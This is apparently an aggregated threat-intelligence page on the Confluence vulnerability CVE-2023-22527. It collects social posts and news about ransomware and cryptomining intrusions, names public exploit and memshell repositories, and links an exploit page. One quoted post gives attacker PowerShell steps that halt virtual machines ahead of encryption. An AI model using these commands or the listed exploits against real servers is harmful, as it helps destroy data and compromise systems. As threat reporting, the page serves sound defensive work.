social bsky.app @thedfirreport.bsky.social 2025-05-22 12:52 UTCThe pipeline further extended to Get-DiskImage -ImagePath $_.Path and Dismount-DiskImage, suggesting a process of accessing and then unlinking VHD contents. Commands to halt virtual machine operations (Get-VM | Stop-VM) were also noted." R…Open source
-
social bsky.app @pmloik.bsky.social 2025-05-22 02:18 UTCTop 3 CVE for last 7 days: CVE-2025-4427: 62 interactions CVE-2025-4428: 37 interactions CVE-2025-4664: 24 interactions Top 3 CVE for yesterday: CVE-2025-47290: 4 interactions CVE-2023-22527: 3 interactions CVE-2021-44228: 2 interactionsOpen source
-
social bsky.app @socprime.com 2025-05-21 09:06 UTCAttackers exploit CVE-2023-22527, a known critical Confluence Data Center and Server vulnerability, to enable RDP access, gain RCE, and deploy ELPACO-Team ransomware. Proactively detect intrusions with curated Sigma rules from SOC Prime Pl…Open source
-
news socprime.com 2025-05-20 07:00 UTCELPACO-Team Ransomware Attack Detection: Hackers Exploit Atlassian Confluence Vulnerability (CVE-2023-22527) to Gain RDP Access and Enable RCE - SOC PrimeOpen source
-
social bsky.app @cyberresearch.bsky.social 2025-05-19 23:39 UTCOriginally from: The DFIR Report: Another Confluence Bites the Dust: Falling to ELPACO-team Ransomware ( :-{ı▓Open source
-
social bsky.app @eric.zip 2025-05-19 21:22 UTCThere are two primary users of the Atlassian suite.... Large software teams with an appetite for overhead++, and threat actors looking to get shells... ...sometimes both at the same time! Another excellent writeup by @thedfirreport.bsky.so…Open source
-
social bsky.app @kostastsale.bsky.social 2025-05-19 16:46 UTC1/ 🚨 New report alert, Another Confluence Bites the Dust This is 𝗼𝗻𝗲 𝗼𝗳 𝘁𝗵𝗲 𝗹𝗮𝗿𝗴𝗲𝘀𝘁 𝗮𝗻𝗱 𝗺𝗼𝘀𝘁 𝗱𝗲𝘁𝗮𝗶𝗹𝗲𝗱 𝗿𝗲𝗽𝗼𝗿𝘁𝘀 𝘄𝗲’𝘃𝗲 𝗽𝘂𝗯𝗹𝗶𝘀𝗵𝗲𝗱 𝘁𝗵𝗶𝘀 𝘆𝗲𝗮𝗿, and it's packed with practical insights and tradecraft you can actually hunt for.Open source
-
social bsky.app @thedfirreport.bsky.social 2025-05-19 11:24 UTC🌟New report out today!🌟 Another Confluence Bites the Dust: Falling to ELPACO-team Ransomware Analysis and reporting completed by @pcsc0ut.bsky.social, @irishdeath.bsky.social & @0xtornado 🔊Audio: Available on Spotify, Apple, YouTube and mo…Open source
-
social bsky.app @virusbtn.bsky.social 2025-05-19 10:51 UTCDFIR Labs look into a case in which the threat actor first gained entry by exploiting a known vulnerability (CVE-2023-22527) on an internet-facing Confluence server. The intrusion culminated in the deployment of ELPACO-team ransomware. the…Open source
-
social bsky.app @ecrime.ch 2025-05-19 05:00 UTCAnother Confluence Bites the Dust: Falling to ELPACO-team Ransomware - The DFIR Report The threat actor first gained entry by exploiting a known vulnerability (CVE-2023-22527) on Read more: https://thedfirreport.com/2025/05/19/another-conf…Open source
-
social bsky.app @nimblenerd.social 2025-05-19 00:47 UTCConfluence Exploit Chaos: The ELPACO Ransomware Fiasco Unleashed! Ransomware strikes again: Confluence server unpatched, ELPACO deploys 62 hours later. Laughter not included, but a demo is! thenimblenerd.com?p=1045894Open source
-
social bsky.app @oversecurity.net.web.brid.gy 2025-05-19 00:46 UTCOpen source
-
social bsky.app @cyberresearch.bsky.social 2025-03-27 16:49 UTCFrom DFIR Report: Confluence Exploit Leads to LockBit Ransomware ( :-{ı▓Open source
-
social bsky.app @ruimartins.bsky.social 2025-03-24 19:11 UTCPara evitar um ataque como este, seria necessário implementar uma abordagem de segurança por camadas, combinando medidas preventivas, de detecção e de resposta rápida.Open source
-
social bsky.app @ruimartins.bsky.social 2025-03-24 07:18 UTCUm ataque que explorou a vulnerabilidade CVE-2023-22527 num servidor Windows com Confluence, resultando na rápida implantação do ransomware LockBit, foi recentemente descrito no "The DFIR Report". cidadaospelaciberseguranca.com/2025/03/15/…Open source
-
social bsky.app @ruimartins.bsky.social 2025-03-23 20:27 UTCUm caso concreto: Exploração do Confluence leva ao ransomware LockBit cidadaospelaciberseguranca.com/2025/03/15/u...Open source
-
social bsky.app @jimmyblake.bsky.social 2025-03-02 17:31 UTCConfluence Exploit Leads to LockBit RansomwareOpen source
-
social bsky.app @youranonriots.bsky.social 2025-02-25 20:36 UTCThe DFIR Report reveals how LockBit and Black Basta exploit Confluence, highlighting similarities in their tactics and offering defense strategies against critical vulnerabilities like CVE-2023–22527. #CyberSecurity #Ransomware ift.tt/ckvM…Open source
-
social bsky.app @detectalix.bsky.social 2025-02-25 07:34 UTCVery good articles by DFIRReport to understand techniques used to deploy #ransomware thedfirreport.com/2025/02/24/c...Open source
-
social bsky.app @infosec.skyfleet.blue 2025-02-25 05:22 UTCFrom Confluence Vulnerability (CVE-2023-22527) to LockBit Encryption: A Rapid Attack ChainOpen source
-
social bsky.app @dinosn.bsky.social 2025-02-25 05:03 UTCFrom Confluence Vulnerability (CVE-2023-22527) to LockBit Encryption: A Rapid Attack Chain securityonline.info/from-conflue...Open source
-
social bsky.app @kostastsale.bsky.social 2025-02-24 15:25 UTCIt took just 3 hours: RCE → Metasploit C2 → Anydesk for remote GUI-access → LockBit ransomware Interestingly, we observed the threat actor using PDQ Deploy, a patch management tool. Read the report here:Open source
-
social bsky.app @gothburz.bsky.social 2025-02-24 15:03 UTCHackers exploited a critical Confluence flaw (CVE-2023-22527) to deploy LockBit ransomware in just 2 hours, using RDP, AnyDesk, and PDQ Deploy. @TheDFIRReport details the rapid attack and data exfil via Rclone. 👉Open source
-
social bsky.app @longtail-news.bsky.social 2025-02-24 13:53 UTCFeed: "GBHackers Security | #1 Globally Trusted Cyber Security News Platform" By: Aman Mishra on Monday, February 24, 2025Open source
-
social bsky.app @virusbtn.bsky.social 2025-02-24 13:21 UTCA new article from The DFIR Report provides details of an intrusion that began with the exploitation of CVE-2023-22527 on an exposed Windows Confluence server, ultimately leading to the deployment of LockBit ransomware across the environme…Open source
-
social bsky.app @thedfirreport.bsky.social 2025-02-24 12:48 UTC🌟New report out today!🌟 Confluence Exploit Leads to LockBit Ransomware Analysis & reporting completed by Angelo Violetti, @malforsec, & @teddy_ROxPin Audio: Available on Spotify, Apple, YouTube and more! thedfirreport.com/2025/02/24/c...Open source
-
code github.com kh4sh3i 2024-10-06 15:16 UTCkh4sh3i/CVE-2023-22527Open source
-
social bsky.app @schubringglobal.bsky.social 2024-09-04 22:00 UTCThe Godzilla fileless backdoor exploits the CVE-2023-22527 vulnerability in Atlassian Confluence, allowing unauthenticated code execution. Despite a January 2024 patch, it remains a threat due to its stealthy, fileless nature and AES encry…Open source
-
social bsky.app @infosec.skyfleet.blue 2024-09-02 10:51 UTCGodzilla Fileless Backdoor Exploits Atlassian Confluence Vulnerability CVE-2023-22527Open source
-
news ithome.com.tw 2024-09-01 17:00 UTCCVE-2023-22527Open source
-
social bsky.app @sbrezina.bsky.social 2024-08-30 21:46 UTCthehackernews.com/2024/08/atla...Open source
-
social bsky.app @neroqc.bsky.social 2024-08-30 12:21 UTCAtlassian Confluence Vulnerability Exploited in Crypto Mining Campaigns thehackernews.com/2024/08/atla... #Infosec #Security #Cybersecurity #CeptBiro #AtlassianConfluence #Vulnerability #CryptoMiningCampaignsOpen source
-
social bsky.app @techit.bsky.social 2024-08-30 09:20 UTCAtlassian Confluence Vulnerability Exploited in Crypto Mining Campaigns #thehackersnewsOpen source
-
social bsky.app @infosec.skyfleet.blue 2024-08-30 06:45 UTCAtlassian Confluence Vulnerability Exploited in Crypto Mining CampaignsOpen source
-
social bsky.app @infosec.skyfleet.blue 2024-08-28 18:36 UTCAttackers Exploit Critical Atlassian Confluence Flaw for CryptojackingOpen source
-
news trendmicro.com 2024-08-28 07:00 UTCCryptojacking via CVE-2023-22527: Dissecting a Full-Scale Cryptomining Ecosystem - www.trendmicro.comOpen source
-
code github.com BBD-YZZ 2024-05-29 03:20 UTCBBD-YZZ/Confluence-RCEOpen source
-
social bsky.app @opfuchs.gay 2024-03-14 19:47 UTCThe current state of CVE-2023-22527 (Confluence template injection RCE) exploitation: www.labs.greynoise.io/grimoire/202...Open source
-
social bsky.app @iagox86.bsky.social 2024-03-13 21:17 UTCI wrote a blog about ongoing exploitation of CVE-2023-22527, a Confluence vuln from January/2024. What the attacker's up to, what their payload does, etc. (TL;DR: it's crypto.. it seems like it's always crypto these days) #cybersecurity #v…Open source
-
code github.com vulncheck-oss 2024-03-04 19:09 UTCvulncheck-oss/cve-2023-22527Open source
-
code github.com M0untainShley 2024-02-26 02:34 UTCM0untainShley/CVE-2023-22527-MEMSHELLOpen source
-
code github.com Boogipop 2024-02-11 16:46 UTCBoogipop/CVE-2023-22527-Godzilla-MEMSHELLOpen source
-
social bsky.app @hrbrmstr.dev 2024-02-11 10:24 UTCI added a `search` cmd to the `bsky` Go CLI @ github.com/mattn/bsky/t... Returns formatted or JSON results. ``` $ go install codeberg.org/hrbrmstr/[email protected] ``` ``` $ bsky search -n 5 CVE-2023-22527 $ bsky search --json -n 5 CVE-2023-22…Open source
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-22527 |
| confluence.atlassian.com |
GitHub CVE
|
https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615 |
| jira.atlassian.com |
GitHub CVE
|
https://jira.atlassian.com/browse/CONFSERVER-93833 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/176789/Atlassian-Confluence-SSTI-Injection.html |
| vicarius.io |
NVD API
Exploit
|
https://www.vicarius.io/vsociety/posts/pwning-confluence-via-ognl-injection-for-fun-and-learning-cve-2023-22527 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-22527 |